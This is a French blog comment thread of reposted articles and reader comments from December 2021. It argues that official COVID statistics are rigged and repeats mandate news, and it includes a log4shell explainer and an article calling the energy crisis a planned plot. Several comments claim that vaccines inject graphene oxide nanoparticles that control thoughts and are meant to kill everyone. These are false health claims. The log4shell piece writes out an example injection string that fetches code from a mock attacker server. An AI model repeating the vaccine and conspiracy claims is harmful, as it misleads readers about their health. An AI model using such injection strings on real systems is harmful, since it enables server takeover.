Chacun peut bien comprendre que les « triple vax » de ces dernières semaines sont essentiellement les premières personnes qui avaient été vaccinées par une puis deux doses : les résidents des EHPAD, les personnes les plus âgées ou les plus fragiles.
Bien évidemment, il n’est donc pas anormal de voir que ces personnes sont surnuméraires parmi les victimes du covid, actuellement. Bien évidemment, notre analyse ci-dessus peut ainsi être aisément réfutée, sur le motif que nous n’avons pas pris en compte le profil particulier de ces personnes, et qu’ainsi nous négligeons un facteur essentiel pour la compréhension du phénomène observé. En outre ,nous attribuons l’excès de décès dans cette catégorie à la troisième dose vaccinale, sous-entendant ainsi que c’est cette troisième dose de vaccin qui a été fatale !
Notons au passage, quand même, que la fameuse troisième dose n’a pas encore fait ses preuves, visiblement, à l’heure où nous publions ces quelques lignes4.
RépondreSupprimerMais notons, surtout, que les deux biais d’analyse imputables à notre pseudo-bilan ci-dessus sont exactement ceux qui invalident toutes les statistiques concernant le covid publiées par la DREES :
1 - Non prise en compte des caractéristiques du panel de base de l’étude : on sait que la DREES identifie les non vaccinés à un groupe composé majoritairement voire uniquement par des personnes immuno-défaillantes, du fait que la DREES ne considère comme « non vaccinées » que les personnes ciblées par l’Assurance Maladie pour une première injection, depuis le mois de septembre 20215.
Comment s’étonner dès lors que ce groupe de « non vaccinés » cumule les tests PCR symptômatiques et les hospitalisations ?
Mais comment pourrait-on admettre que la DREES tire des conclusions concernant la catégorie des non vaccinés en population générale, à partir d’observations effectuées sur un sous-groupe défini de façon aussi irréaliste ?
Moi-même, en pleine santé, confrontée au virus depuis deux ans et n’ayant pas contracté la moindre maladie, qu’ai-je à voir avec le groupe des hospitalisés pour cause de covid, qu’ils soient vaccinés ou non vaccinés ?
Si l’on s’offusque de me voir tirer des conclusions insinuant que la troisième dose serait à l’origine d’une surmortalité parmi les Français, alors, que l’on s’offusque de voir la DREES affirmer que le fait de n’être pas vacciné serait à l’origine d’une plus grande vulnérabilité face au virus, sur la base des études qu’elle produit.
2 - Imputation du résultat à un facteur non significatif : tous les observateurs du syndrôme covid s’accordent à dire que les pathologies graves déclenchées par le virus sont essentiellement dues aux fragilités immunitaires des personnes mises en contact avec lui. Autrement dit, que les hospitalisations et décès liés au covid s’expliquent à 90 % par la présence de comorbidités chez les personnes infectées.
La DREES, en constituant deux sous-groupes d’étude « vax / non vax », au lieu d’identifier deux sous-groupes « personnes à risque / sans risque », déplace le champ d’interprétation le plus pertinent vers un champ d’explication présupposé, propre à imputer les résultats d’observation à une variable annexe – le statut vaccinal – en lieu et place du facteur fondamental – l’immuno-défaillance.
Pour terminer, deux remarques restent à faire :
RépondreSupprimer- Suivant le dernier bilan publié par la DREES, les vaccinés deux ou trois doses constituent 88 % de la population française de plus de 20 ans, et ont généré 55,3 % des événements hospitaliers observés en France en lien avec le covid, entre le 8 novembre et le 5 décembre 2021.
Si les vaccinations anticovid étaient efficaces à 50 % ( autrement dit, qu’elles réduisaient de moitié les risques d’hospitalisation par rapport aux non vaccinés ), les vaccinés auraient dû représenter seulement 44 % des hospitalisés et décédés.
En l’occurence, si l’on s’en tient aux chiffres de la DREES, la vaccination procurerait à ses bénéficiaires une protection de 38,5 % environ face aux formes graves, bien loin des 90 % affichés par la propagande commune.
- Les chiffres de la DREES ne sauraient être pris pour argent comptant : dans notre précédente publication, nous avons montré que ces chiffres étaient biaisés dans une proportion telle que leur validité globale posait sérieusement question. Ils ne peuvent pas être considérés comme un reflet des réalités hospitalières dues au covid, mais seulement comme une projection mathématique de données retravaillées dans le but de gonfler artificiellement la part des non vaccinés dans les résultats6.
Ainsi, le lecteur voudra bien considérer que les chiffres et proportions contenus dans cet article,issus du dernier tableau publié par la DREES, ne sauraient aucunement retranscrire des faits observés à l’hôpital, mais seulement les calculs effectués par cette administration.
- voir sur site -
Annexe : tableau bilan publié par la DREES (8 novembre - 5 décembre 2021)
1 Service de statistiques du ministère de la Santé et de l’Economie . Administration dont nous avons déjà eu l’occasion d’étudier les productions. Cf https://www.agoravox.fr/tribune-libre/article/covid-fantastiques-statistiques-237664
2 La DREES base ses études sur le nombre de cas de tests PCR positifs réalisés en France durant une période donnée.
3 Ce chiffre,ainsi que les suivants, est arrondi à l’entier le plus proche ; calculs effectués d’après le tableau publié par la DREES, une fois les proportions traduites en valeurs numériques. Cf annexe.
4 Rappelons que les personnes dont le système immunitaire est défaillant sont celles qui répondent le moins bien aux vaccins, quels qu’ils soient (celui de la grippe, par exemple). Les vaccins sont surtout efficaces chez ceux qui ont un système immunitaire fonctionnel … et pourraient donc, a priori, se passer de vaccins !Mais ceci est un autre sujet ...
5 Op cit : https://www.agoravox.fr/tribune-libre/article/covid-fantastiques-statistiques-237664
6 Il est d’ailleurs amusant de voir des personnels soignants ou des chefs de services hospitaliers défiler dans les médias pour affirmer que leurs patients sont des non vaccinés dans leur immense majorité. Comme ils n’ont pas lu les études de la DREES, mais seulement les conclusions de ces études, ils ont en tête la proportion officiellement mise en avant par la DREES : 8 à 10 fois plus de risques a minima pour un non vacciné, soit un vaccin efficace à 80-90 %, donc seulement 10 à 20 % de vaccinés parmi leurs patients … Et ils témoignent de cette « réalité », alors même que les chiffres de la DREES – tout frelatés qu’ils soient - indiquent clairement que les vaccinés sont majoritaires parmi les hospitalisés (55,3 % pour le dernier bilan), et les décédés du covid (60%) !
https://www.agoravox.fr/tribune-libre/article/il-ne-fait-pas-bon-etre-triplement-238131
Les piqûres dites 'anti-coronacircus19' ne sont pas là pour protéger mais UNIQUEMENT pour vous injecter des nano-particule d'oxyde de graphène. Mais que sont-elles ces nano-particules dites 'intelligentes' ?
SupprimerCe sont des nano-poussières (appelées 'virus') qui reçoivent et émettent des ordres. Elles sont là pour dévoyer les propres pensées de l'individu et le soustraire à la rébellion. Elles sont aussi là pour éliminer toutes personnes contestataires du droit de vivre.
Le gouvernement japonais dit aux citoyens : "Ne faites pas de discrimination contre les non-vaccinés"
RépondreSupprimerPAR TYLER DURDEN
MARDI 21 DEC 2021 - 08:06
Rédigé par Paul Joseph Watson via Summit News,
Bien que de nombreux grands pays aient rendu obligatoires les vaccins contre le COVID-19, le gouvernement japonais a dit à ses citoyens "de ne pas discriminer ceux qui n'ont pas été vaccinés".
L'Allemagne est sur le point de suivre l'Autriche en imposant des inoculations obligatoires, avec des refusniks qui résistent toujours à les prendre face à des amendes croissantes et éventuellement à des peines de prison.
Cependant, le Japon adopte une approche très différente, affirmant que les vaccins ne devraient jamais être administrés qu'avec le plein consentement et qu'ils ne devraient pas être utilisés comme outils de coercition ou d'intimidation.
L'avis suivant a été publié sur le site Web du ministère de la Santé, du Travail et du Bien-être social;
«Bien que nous encourageons tous les citoyens à se faire vacciner contre le COVID-19, ce n'est pas imposé ou obligatoire. La vaccination ne sera donnée qu'avec le consentement de la personne à vacciner après les informations fournies. Veuillez vous faire vacciner de votre propre initiative, en comprenant à la fois l'efficacité de la prévention des maladies infectieuses et le risque d'effets secondaires. Aucune vaccination ne sera administrée sans consentement. S'il vous plaît, ne forcez personne sur votre lieu de travail ou ceux qui vous entourent à se faire vacciner, et ne discriminez pas ceux qui n'ont pas été vaccinés.
Le site Web du Premier ministre contient également une déclaration similaire.
« Les vaccins ne seront jamais administrés sans le consentement du destinataire. Nous exhortons le public à ne jamais forcer les vaccinations sur le lieu de travail ou sur les autres personnes autour d'eux, et à ne jamais traiter ceux qui n'ont pas reçu le vaccin de manière discriminatoire. »
Pendant ce temps, en Autriche, le gouvernement embauche littéralement des gens pour « traquer » ceux qui refusent de recevoir la piqûre.
« Les pays occidentaux prétendent toujours être les premiers défenseurs des libertés civiles », écrit Noah Carl. "Mais à l'ère du safetyism de Covid, il semble que le manteau soit passé au Japon. Peut-être que le pays enverra une délégation d'experts des droits de l'homme pour enseigner à l'Occident la liberté individuelle.
https://www.zerohedge.com/political/japanese-government-tells-citizens-dont-discriminate-against-unvaccinated
(...) «Bien que nous encourageons tous les citoyens à se faire vacciner contre le COVID-19, ce n'est pas imposé ou obligatoire. La vaccination ne sera donnée qu'avec le consentement de la personne à vacciner après les informations fournies. Veuillez vous faire vacciner de votre propre initiative, en comprenant à la fois l'efficacité de la prévention des maladies infectieuses et le risque d'effets secondaires. (...)
SupprimerLe risque d'effets secondaires étant LA MORT certaine à court ou moyen terme.
Regardez: Le ministre allemand de la Santé appelle à la vaccination forcée immédiate de toute la population
RépondreSupprimerPAR TYLER DURDEN
MARDI 21 DEC 2021 - 03:30
Rédigé par Steve Watson via Summit News,
Le ministre allemand de la Santé, Karl Lauterbach, a appelé à rendre la vaccination COVID obligatoire immédiatement pour l'ensemble de la population allemande.
Comme le rapporte Der Spiegel, « Le ministre fédéral de la Santé Karl Lauterbach (SPD) craint que le nombre d'infections augmente fortement en raison de la nouvelle variante du virus Omicron. "Je suppose une cinquième vague massive", a déclaré Lauterbach lors d'une visite dans un centre de vaccination à Hanovre.
Lauterbach a en outre déclaré « Nous devons supposer que la vague d'omicrons à laquelle nous sommes confrontés, que nous ne pouvons à mon avis empêcher, sera un défi de taille pour nos hôpitaux, pour nos unités de soins intensifs, mais aussi pour la société dans son ensemble. »
Le ministre de la Santé a en outre affirmé qu'Omicron ne pouvait pas être « maîtrisé » avec une seule double vaccination.
"Nous ne devons pas nous laisser bercer par un faux sentiment de sécurité", a-t-il déclaré, affirmant qu'une "campagne de relance massive" est nécessaire "pour stimuler plusieurs millions de personnes par semaine".
Lauterbach a ajouté qu'il entendait essayer "par tous les moyens" de rendre les vaccins obligatoires.
Les commentaires interviennent une semaine après que le successeur d'Angela Merkel en Allemagne a déclaré qu'il n'y aurait "pas de lignes rouges" dans la bataille contre la vague actuelle de COVID, qu'il a déclaré être alimentée par des citoyens non vaccinés.
Le nouveau chancelier Olaf Scholz a déclaré qu'il soutenait les mandats de vaccination dans toute l'Allemagne, notant qu'il avait l'intention de "voter pour la vaccination obligatoire, car elle est légalement autorisée et moralement juste".
Scholz avait précédemment déclaré qu'il souhaitait introduire la vaccination obligatoire contre le coronavirus pour tous les Allemands dès février, selon des sources proches de lui.
- voir clip sur site :
https://www.zerohedge.com/covid-19/watch-german-health-minister-calls-immediate-forced-vaccination-entire-population
Traitement létal contre les doryphores !
SupprimerUne épidémie de COVID frappe le plus grand navire de croisière du monde
RépondreSupprimerPAR TYLER DURDEN
LUNDI 20 DÉC 2021 - 23:00
Pour la deuxième fois ce mois-ci, un bateau de croisière avec des passagers adultes et un équipage entièrement vaccinés a détecté une épidémie de COVID-19.
Quarante-huit personnes à bord d'un Royal Caribbean Symphony of the Seas, le plus grand navire de croisière du monde, ont été testées positives pour COVID samedi après le retour d'une croisière d'une semaine.
"Toutes les personnes testées positives étaient asymptomatiques ou présentaient des symptômes légers, et nous surveillons en permanence leur santé", a déclaré Royal Caribbean à NBC Miami. "Chaque personne est rapidement entrée en quarantaine", indique le communiqué.
La politique de santé de Royal Caribbean exige que tous les adultes soient vaccinés avec au moins deux injections de Pfizer ou de Moderna ou une injection de vaccin Johnson & Johnson. L'épidémie représente 0,78 % des 6 091 passagers et membres d'équipage qui ont quitté Miami le 11 décembre et ont navigué vers les ports des Caraïbes Saint-Martin, Saint-Thomas et l'île privée de Royal Caribbean, CocoCay. Le bateau de croisière est rentré au port d'attache le 18 décembre.
Les navires de croisière ont été salués comme l'une des vacances les plus sûres en raison de leurs politiques de santé strictes qui n'autorisent que les adultes vaxxés – mais à mesure que l'efficacité du vaccin diminue, cela ne semble pas être le cas.
Plus tôt ce mois-ci, Norwegian Breakaway, propriété de Norwegian Cruise Line Holdings Ltd, a détecté une épidémie de COVID malgré un navire entièrement vaxxé.
Cruise Industry News a rapporté que l'industrie des navires de croisière avait resserré ses mesures de masque au milieu de l'augmentation des cas de virus aux États-Unis.
Ce qui devient évident, c'est que les taux d'efficacité des vaccins sont en baisse. Une étude récente des trois principaux vaccins COVID a montré une baisse « spectaculaire » de l'efficacité sur six mois. Ainsi, alors que les exploitants de navires de croisière atteignent la haute mer avec uniquement des passagers et des équipages entièrement vaxxés qui ont des défenses affaiblies contre le virus, on pourrait suspecter des épidémies supplémentaires sur les navires alors que de nouvelles infections se multiplient aux États-Unis.
Alors, qu'est-ce que les exploitants de navires de croisière sont censés faire maintenant ? Autoriser uniquement les personnes qui ont eu trois boosters ou plus sur les navires ?
https://www.zerohedge.com/covid-19/covid-outbreak-hits-worlds-largest-cruise-ship
Compte tenu de l'élimination (naturelle) progressive des nano-particules d'oxyde de graphène mortelles avant-même qu'elles soient décortiquées par signal d'onde sur portable, la piqûre létale de rappel doit être administrée afin que nul ne demeure en vie dans les jours qui viennent !!
SupprimerHeureux les peuples de la jungle amazonienne !
Pourquoi la faille log4shell panique tout internet ?
RépondreSupprimerLog4shell : comment quelques lignes de code rendent piratable d'un coup Apple, Google, Amazon et des millions de serveurs.
le 21 décembre 2021
François Jolain
Ce 10 décembre, une faille de sécurité baptisée log4shell et touchant la brique logiciel log4j a été découverte. Dès lors, des millions de serveurs, y compris ceux d’Apple, Google, Amazon ou Tesla devenaient piratables.
Cette faille montre comment, sans même commettre d’erreur en programmation, une faille critique peut apparaître. Elle montre aussi l’énorme château de cartes que représente chaque application informatique.
Log4shell : une faille ne reposant sur aucune erreur
Log4j est une brique logiciel qui est utilisée par des millions de sites web pour logger des évènements.
Un programme informatique est par nature muet. C’est une boîte noire dont on ne voit que les données d’entrées et les résultats de sorties. Les étapes intermédiaires restent silencieuses.
Aussi, pour aider les développeurs à surveiller leurs applications, on ajoute des logs dans le programme. Le programme va se mettre à parler à chaque action accomplie.
Toutes ces déclarations sont regroupées et horodatées pour former le journal de logs, véritable historique de la plateforme en ligne.
Ainsi, si un utilisateur Bob change son email par X, on verra apparaître sur le journal de logs du site : « utilisateur Bob a changé son email par X ».
Pour rendre les logs plus puissants, log4j utilise une syntaxe afin d’ajouter des balises qui seront remplies par lui. Par exemple le log « ${date} utilisateur Bob a changé son mail par X » sera lu et remplacé par « 18/12/2021 10:45 utilisateur Bob a changé son mail par X » .
Cette syntaxe permet d’injecter automatiquement la date, la version du logiciel, mais aussi de faire des requêtes sur un serveur distant et d’exécuter le code retourner par le serveur.
Tout ceci n’est pas codé par accident, ce sont des fonctionnalités légitimes. Mais un détail vient tout chambouler. Dans l’exemple ci-dessus, le X provient de l’utilisateur. Il peut donc mettre ce qu’il veut, y compris une balise !
Il peut donc envoyer comme nouvelle adresse mail « ${https://serveur-pirate.fr/virus} » . Le logger va analyser le log « utilisateur Bob a changé son email par ${https://serveur-pirate.fr/virus} » , requêter le serveur pirate et exécuter le virus sur la plateforme.
Cette faille ne provient pas d’un bug ou d’erreur. Elle détourne des fonctionnalités légitimes, qui mises bout à bout forment un vecteur d’attaque.
Ainsi, log4shell rend tous les serveurs utilisant log4j vulnérables. N’importe quel utilisateur a juste à envoyer une balise malicieuse dans la plateforme pour y prendre le contrôle.
Le château de cartes informatique
Un programme informatique repose sur une des centaines de briques logiciel pour fonctionner. Si une seule de ces briques fait défaut, elle contamine l’ensemble du programme.
Heureusement, le plus souvent, le problème reste bénin et ne remet pas en cause la sécurité de la plateforme.
Mais log4j, lui, anéantit la sécurité de la plateforme hôte qui l’utilise. Or il est massivement utilisé, c’est une brique logiciel incontournable dans le développement.
C’est ainsi qu’en un week-end, on se retrouve avec des millions de sites piratables tels Apple, Google, Amazon et autres.
La sécurité en informatique ne tient qu’à un fil. Des millions de sites sains se retrouvent piratables car une fonctionnalité d’une brique logiciel a pu être détournée pour le piratage.
Vu la très grande utilisation de log4j, il faudra des années pour mettre à jour tous les sites. Les attaques informatiques utilisant cette faille ont déjà commencé.
https://www.contrepoints.org/2021/12/21/417555-pourquoi-la-faille-log4shell-panique-tout-internet
Ce n'est pas le seul article car nous sommes entourés de mais, pour prendre un exemple, dernièrement l'achat d'une cafetière. Pas chère, beau desing, bref "je la prends" et, arrivé à la maison, là on s'aperçoit que, si l'on lève le couvercle pour mettre le café le couvercle du porte-filtre se lève aussi ! Whôaw ! mais... mais on ne peut pas mettre d'eau car le couvercle ouvert empêche l'accès au réservoir !!!
SupprimerC'est un modèle fabriqué sur ordi en 3D, présenté au chef de la division 'connerie' qui fait tourner le modèle en tout sens sur l'écran 3D, dit qu'il est beau, et lance la fabrication de 100 000 modèles comme çà !
Pourquoi la faille log4shell panique tout internet ?
SupprimerElle ne 'panique' pas du tout.
Il s'agit simplement d'un programme de rumeur pour trouver une excuse pour fermer l'Internet.
Ce ne sont pas de simples hackers qui sont derrière mais l'ensemble complet des escrocs qui dirigent les pays !
SUPERCHARGER TESLA : LE PRIX DE LA RECHARGE AUGMENTE
RépondreSupprimerpar PAOLO GAROSCIO
21/12/2021
L'action Tesla a chuté sous la barre des 900 dollars.
Mauvaise nouvelle pour les propriétaires de voitures Tesla, et par là même pour l’ensemble des propriétaires de voitures électriques : la recharge coûte plus cher. En cause ? La hausse du prix de l’électricité sur le marché de gros, qui va impacter les factures des ménages en 2022… Mais qui touche déjà les industriels.
Une hausse des prix des recharges en Europe
Selon le site Automobile-Propre, qui reprend une information Twitter de Tesla_Adri, les prix du kilowattheure ont augmenté… un peu partout en Europe. Du moins, selon Tesla_Adri au minimum en France, Allemagne et Espagne. Mais l’augmentation étant liée à la hausse du prix de l’électricité, elle devrait être généralisée, Tesla évitant le plus possible cette mauvaise publicité.
Les augmentations ne sont pas uniformes : alors qu’en France le kilowattheure passe de 0,37 euro à 0,40 euro, soit une augmentation de 3 centimes, la hausse est de 5 centimes d’euro en Allemagne (45 centimes d’euro le kWh ou encore de 7 centimes d’euros en Espagne, qui reste le pays où la recharge est la moins chère, à 36 centimes d’euro le kWh.
Combien coûte recharger sa Tesla sur un superchargeur ?
La hausse des prix va, forcément, impacter le montant à débourser pour une recharge complète. Celle-ci est d’environ 60 kWh, le calcul est donc vite fait. Un « plein » pour une Tesla va coûter, après l’augmentation, 27 euros environ en Allemagne, 24 euros en France. C’est bien évidemment beaucoup moins qu’un plein d’essence ou de gasoil, mais la hausse est malgré tout conséquente, 2 euros par recharge complète pour les clients français.
Les ménages, de leur côté, subiront la hausse des prix de l’électricité en février 2022, lorsque la facture augmentera de 4%. Une hausse limitée artificiellement par le gouvernement qui a opté pour un bouclier tarifaire, la hausse réelle dépassant, selon les experts, 20%.
http://www.economiematin.fr/news-hausse-prix-electricite-tesla-recharge-augmentation-voiture
Jusqu'à présent les bornes de recharge permettaient aux camping-cars (essence ou diesel) de faire tourner le poulet à la broche dans le four pour quelques centimes (et machine-à-laver, etc, etc). Maintenant... c'est au prix du restau !!
SupprimerL'agenda vert et le plan d'effondrement de l'économie mondiale industrielle
RépondreSupprimerEn quoi cette « crise énergétique » est différente de toutes les autres
Par F. William Engdahl
Recherche mondiale
21 décembre 2021
Le prix de l'énergie de toutes les sources conventionnelles explose à l'échelle mondiale. Loin d'être accidentel, il s'agit d'un plan bien orchestré pour effondrer l'économie mondiale industrielle qui a déjà été considérablement affaiblie par près de deux ans de quarantaine covid ridicule et les mesures connexes.
Ce que nous voyons, c'est une explosion des prix de l'énergie clé du pétrole, du charbon et maintenant surtout, du gaz naturel. Ce qui le rend différent des chocs énergétiques des années 1970, c'est que cette fois, il se développe alors que le monde de l'investissement des entreprises, utilisant le modèle frauduleux d'investissement vert ESG, désinvestit dans le pétrole, le gaz et le charbon futurs tandis que les gouvernements de l'OCDE adoptent une approche horriblement inefficace, solaire et éolien peu fiables qui assureront l'effondrement de la société industrielle peut-être dès les prochains mois. À moins d'une refonte radicale, l'UE et d'autres économies industrielles commettent volontairement un suicide économique.
Ce qui, il y a seulement quelques années, était accepté comme une évidence, c'est qu'assurer une énergie abondante, fiable, efficace et abordable définit l'économie. Sans énergie efficace, nous ne pouvons pas fabriquer d'acier, de béton, de matières premières minières ou tout autre élément qui soutient nos économies modernes. Au cours des derniers mois, le prix mondial du charbon pour la production d'électricité a doublé. Le prix du gaz naturel a augmenté de près de 500 %. Le pétrole se dirige vers 90 $ le baril, son plus haut niveau en sept ans. Il s'agit d'une conséquence planifiée de ce que l'on appelle parfois la grande réinitialisation de Davos ou la folie zéro carbone de l'Agenda vert.
Il y a une vingtaine d'années, l'Europe a amorcé une transition majeure vers les énergies renouvelables ou l'énergie verte, principalement solaires et éoliennes. L'Allemagne, cœur de l'industrie de l'UE, a mené la transformation avec l'Energiewende mal conçue de l'ancienne chancelière Merkel, où les dernières centrales nucléaires allemandes fermeront en 2022 et où les centrales au charbon sont rapidement supprimées. Tout cela est maintenant entré en collision avec la réalité que l'énergie verte n'est pas du tout en mesure de faire face à des pénuries d'approvisionnement majeures. La crise était tout à fait prévisible.
RépondreSupprimerLes poulets verts rentrent à la maison pour se percher
Avec les blocages généralisés de l'industrie et des voyages liés au covid en 2020, la consommation de gaz naturel de l'UE a considérablement diminué. Le plus grand fournisseur de gaz de l'UE, Gazprom de Russie, dans l'intérêt d'un marché ordonné à long terme, a dûment réduit ses livraisons sur le marché de l'UE, même à perte. Un hiver 2019-2020 exceptionnellement doux a permis au stockage de gaz de l'UE d'atteindre son maximum. Un hiver long et rigoureux a pratiquement effacé cela en 2021.
Contrairement aux affirmations des politiciens européens, Gazprom n'a pas fait de politique avec l'UE pour forcer l'approbation de son nouveau gazoduc NordStream 2 vers l'Allemagne. Alors que la demande de l'UE a repris au cours des six premiers mois de 2021, Gazprom s'est précipité pour y répondre et même dépasser les niveaux records de 2019, et même au détriment de la reconstitution du stockage de gaz russe pour l'hiver à venir.
L'UE étant désormais fermement engagée dans un programme d'énergie verte, Fit for 55, et rejetant explicitement le gaz naturel comme une option à long terme, tout en tuant le charbon et le nucléaire, l'incompétence des modèles climatiques du groupe de réflexion qui a justifié un 100% sans gaz carbonique, la société électrique d'ici 2050 est revenue se percher.
Parce que les investisseurs financiers de Wall Street et de Londres ont vu les bénéfices énormes de l'agenda de l'énergie verte, travaillant avec le Forum économique mondial de Davos pour promouvoir le modèle d'investissement ESG risible, les sociétés pétrolières, gazières et charbonnières conventionnelles n'investissent pas de bénéfices dans une production accrue. En 2020, les dépenses mondiales en pétrole, gaz et charbon ont chuté d'environ 1 000 milliards de dollars. Cela ne revient pas.
Avec BlackRock et d'autres investisseurs qui boycottent presque ExxonMobil et d'autres sociétés énergétiques en faveur d'une énergie « durable », les perspectives d'un hiver exceptionnellement froid et long en Europe et un manque record de vent dans le nord de l'Allemagne, ont déclenché une panique d'achat de gaz sur le monde Marchés du GNL début septembre.
Le problème était que le réapprovisionnement était trop tard, car la plupart des GNL disponibles en provenance des États-Unis, du Qatar et d'autres sources qui seraient normalement disponibles avaient déjà été vendus à la Chine où une politique énergétique tout aussi confuse, y compris une interdiction politique du charbon australien, a conduit à fermetures d'usines et une récente ordonnance du gouvernement pour sécuriser le gaz et le charbon "à tout prix". Le Qatar, les exportateurs américains de GNL et d'autres ont afflué vers l'Asie, laissant littéralement l'UE dans le froid.
RépondreSupprimerDéréglementation de l'énergie
Ce que peu de gens comprennent, c'est comment les marchés de l'énergie verte d'aujourd'hui sont truqués pour profiter aux spéculateurs comme les fonds spéculatifs ou aux investisseurs comme BlackRock ou Deutsche Bank et pénaliser les consommateurs d'énergie. Le prix global du gaz naturel négocié en Europe, le contrat à terme néerlandais TTF, est vendu par l'ICE Exchange, basé à Londres. Il spécule sur les futurs prix de gros du gaz naturel dans l'UE dans un, deux ou trois mois. L'ICE est soutenu par Goldman Sachs, Morgan Stanley, Deutsche Bank et Société Générale, entre autres. Le marché porte sur ce qu'on appelle des contrats à terme sur gaz ou des produits dérivés.
La crise énergétique européenne est sur le point de se mondialiser
Les banques ou d'autres peuvent spéculer pour des centimes sur le dollar, et lorsque la nouvelle a éclaté sur le faible niveau de stockage de gaz de l'UE pour l'hiver à venir, les requins de la finance se sont lancés dans une frénésie alimentaire. Début octobre, les prix à terme du gaz néerlandais TTF avaient explosé de 300 % sans précédent en quelques jours seulement. Depuis février, c'est bien pire, car une cargaison standard de GNL de 3 400 milliards de BTU (British Thermal Units) coûte désormais entre 100 et 120 millions de dollars, alors qu'à la fin février son coût était inférieur à 20 millions de dollars. C'est une augmentation de 500 à 600 % en sept mois.
Le problème sous-jacent est que, contrairement à ce qui s'est produit pendant la majeure partie de la période d'après-guerre, depuis la promotion politique des « énergies renouvelables » solaires et éoliennes peu fiables et coûteuses dans l'UE et ailleurs (par exemple, Texas, février 2021), les marchés des services publics d'électricité et leurs prix ont été délibérément déréglementés pour promouvoir les alternatives vertes et évincer le gaz et le charbon sur l'argument douteux que leurs émissions de gaz carbonique mettent en danger l'avenir de l'humanité si elles ne sont pas réduites à zéro d'ici 2050.
Les prix supportés par le consommateur final sont fixés par les fournisseurs d'énergie qui intègrent les différents coûts dans des conditions concurrentielles. La façon diabolique de calculer les coûts de l'électricité de l'UE, prétendument pour encourager l'énergie solaire et éolienne inefficace et décourager les sources conventionnelles, est que, comme l'a dit l'analyste français de l'énergie Antonio Haya, « la centrale la plus chère de celles nécessaires pour couvrir la demande (centrale marginale) définit le prix pour chaque heure de production pour toute la production correspondant à l'enchère. Ainsi, le prix du gaz naturel d'aujourd'hui fixe le prix de l'électricité hydroélectrique à coût pratiquement nul. Compte tenu de la flambée des prix du gaz naturel, cela définit les coûts de l'électricité de l'UE. C'est une architecture de prix diabolique qui profite aux spéculateurs et détruit les consommateurs, y compris les ménages et l'industrie.
RépondreSupprimerUne cause aggravante fondamentale des récentes pénuries de charbon, de gaz et de pétrole en abondance est la décision de BlackRock et d'autres fiducies monétaires mondiales de forcer les investissements à s'éloigner du pétrole, du gaz ou du charbon - toutes des sources d'énergie parfaitement sûres et nécessaires - pour accumuler des solaire ou éolien peu fiable. Ils appellent cela l'investissement ESG. C'est la dernière rage à Wall Street et sur d'autres marchés financiers mondiaux depuis que le PDG de BlackRock, Larry Fink, a rejoint le conseil d'administration du Forum économique mondial Klaus Schwab en 2019. Ils ont créé des sociétés de certification ESG qui attribuent des notations ESG « politiquement correctes » aux sociétés par actions. , et punir ceux qui ne s'y conforment pas. La ruée vers les investissements ESG a rapporté des milliards à Wall Street et à ses amis. Il a également freiné le développement futur du pétrole, du charbon ou du gaz naturel pour la plupart des pays du monde.
La « maladie allemande »
Aujourd'hui, après 20 ans d'investissements insensés dans le solaire et l'éolien, l'Allemagne, autrefois le fleuron de l'industrie européenne, est victime de ce que nous pouvons appeler la maladie allemande. Comme le syndrome hollandais économique, l'investissement forcé dans l'énergie verte a entraîné le manque d'énergie fiable et abordable. Tout cela pour une affirmation non prouvée de 1,5 C de l'IPCC qui est censée mettre fin à notre civilisation d'ici 2050 si nous ne parvenons pas à atteindre le zéro carbone.
Pour faire avancer ce programme d'énergie verte de l'UE, pays après pays, à quelques exceptions près, ont commencé à démanteler le pétrole, le gaz et le charbon et même le nucléaire. Les dernières centrales nucléaires allemandes fermeront définitivement l'année prochaine. De nouvelles centrales au charbon, équipées de laveurs à la pointe de la technologie, sont mises au rebut avant même d'être démarrées.
RépondreSupprimerLe cas allemand devient encore plus absurde.
En 2011, le gouvernement Merkel a adopté un modèle énergétique développé par Martin Faulstich et le Conseil consultatif de l'État sur l'environnement (SRU) qui affirmaient que l'Allemagne pourrait atteindre une production d'électricité 100 % renouvelable d'ici 2050. Ils ont fait valoir qu'il ne serait pas nécessaire d'utiliser le nucléaire plus longtemps, ni la construction de centrales au charbon avec captage et stockage du carbone (CSC). Avec cela, la catastrophique Energiewende de Merkel est née. L'étude a fait valoir que cela fonctionnerait parce que l'Allemagne pourrait passer un contrat pour acheter de l'énergie hydroélectrique excédentaire sans gaz carbonique à la Norvège et à la Suède.
Maintenant, avec une sécheresse extrême et un été chaud, les réserves hydroélectriques de la Suède et de la Norvège sont dangereusement basses à l'approche de l'hiver, à seulement 52% de leur capacité. Cela signifie que les câbles électriques vers le Danemark, l'Allemagne et maintenant le Royaume-Uni sont en danger. Et pour ne rien arranger, la Suède est divisée sur la fermeture de ses propres centrales nucléaires qui lui fournissent 40 % de l'électricité. Et la France discute de la réduction d'un tiers de ses centrales nucléaires claires, ce qui signifie que la source de l'Allemagne ne sera pas non plus sûre.
Déjà le 1er janvier 2021 en raison d'une élimination progressive du charbon mandatée par le gouvernement allemand, 11 centrales électriques au charbon d'une capacité totale de 4,7 GW ont été fermées. Il n'a duré que 8 jours lorsque plusieurs des centrales au charbon ont dû être reconnectées au réseau en raison d'une période prolongée de faible vent. En 2022, la dernière centrale nucléaire allemande fermera et d'autres centrales au charbon fermeront définitivement, le tout pour le nirvana vert. En 2002, l'énergie nucléaire allemande était la source de 31% de l'énergie électrique sans carbone.
Quant à l'éolien venant combler le déficit en Allemagne, en 2022, quelque 6000 éoliennes d'une puissance installée de 16 GW seront démantelées en raison de l'expiration des subventions de rachat des anciennes éoliennes. Le taux d'approbation de nouveaux parcs éoliens est bloqué par la rébellion croissante des citoyens et les contestations judiciaires contre la pollution sonore et d'autres facteurs. Une catastrophe évitable se prépare.
RépondreSupprimerLa réponse de la Commission européenne à Bruxelles, plutôt que d'admettre les failles flagrantes de son programme d'énergie verte, a été de doubler le propos comme si le problème était le gaz naturel et le charbon. Le tsar européen du climat Frans Timmermans a déclaré de manière absurde : « Si nous avions eu l'accord vert cinq ans plus tôt, nous ne serions pas dans cette position car nous serions alors moins dépendants des combustibles fossiles et du gaz naturel.
Si l'UE poursuit ce programme suicidaire, elle se retrouvera dans quelques années à peine dans une friche désindustrialisée. Le problème n'est pas le gaz, le charbon ou le nucléaire. C'est l'énergie verte inefficace du solaire et de l'éolien qui ne pourra jamais offrir une énergie stable et fiable.
Le programme pour l'énergie verte de l'UE, des États-Unis et d'autres gouvernements, ainsi que les investissements ESG promus par Davos garantiront seulement qu'à mesure que nous avancerons, il y aura encore moins de gaz, de charbon ou de nucléaire sur lesquels se rabattre lorsque le vent s'arrêtera, il y aura un sécheresse dans les barrages hydroélectriques ou manque d'ensoleillement.
